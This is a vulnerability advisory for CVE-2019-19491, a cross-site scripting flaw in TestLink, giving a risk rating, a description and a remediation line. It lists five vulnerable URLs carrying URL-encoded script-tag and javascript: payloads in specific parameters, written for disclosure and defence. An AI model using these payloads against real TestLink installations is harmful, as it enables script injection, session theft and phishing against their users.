#VU24456 Cross-site scripting in TestLink - CVE-2019-19491

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Main Vulnerability Database Vulnerabilities #VU24456

#VU24456 Cross-site scripting in TestLink - CVE-2019-19491

Published: January 21, 2020


Vulnerability identifier: #VU24456
Vulnerability risk: Low
CVSSv4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:U/U:Clear
CVE-ID: CVE-2019-19491
CWE-ID: CWE-79
Exploitation vector: Remote access
Exploit availability: No public exploit available
Vulnerable software:
TestLink
Software vendor:
testlink.org

Description

The disclosed vulnerability allows a remote attacker to perform cross-site scripting (XSS) attacks.

The vulnerability exists due to insufficient sanitization of user-supplied data when processing multiple parameters. A remote attacker can trick the victim to follow a specially crafted link and execute arbitrary HTML and script code in user's browser in context of vulnerable website.

Successful exploitation of this vulnerability may allow a remote attacker to steal potentially sensitive information, change appearance of the web page, perform phishing and drive-by-download attacks.

Vulnerable pages: 

https://[host]/testlink/lib/testcases/archiveData.php?add_relation_feedback_msg=Test%20Case%20with%20external%20ID%3A%20%20-%20does%20not%20exist&edit=%3cscRipt%3ealert(0x008B19)%3c%2fscRipt%3e&id=4&show_mode=show&version_id=3

https://[host]/testlink/index.php?caller=login&reqURI=javascript%3aalert(0x002082)&viewer=3

https://[host]/testlink/lib/testcases/tcEdit.php?doAction=doDeleteStep&nsextt=%3cscRipt%3ealert(0x00A5CA)%3c%2fscRipt%3e&show_mode=editDisabled&step_id=

https://[host]/testlink/lib/testcases/tcEdit.php?doAction=doDeleteStep&%3cscRipt%3ealert(0x00A5CE)%3c%2fscRipt%3e=nsextt&show_mode=editDisabled

https://[host]/testlink/lib/testcases/tcEdit.php?doAction=doDeleteStep&show_mode=%3cscRipt%3ealert(0x00A54D)%3c%2fscRipt%3e&step_id=

Remediation

Install update from vendor's website.

External links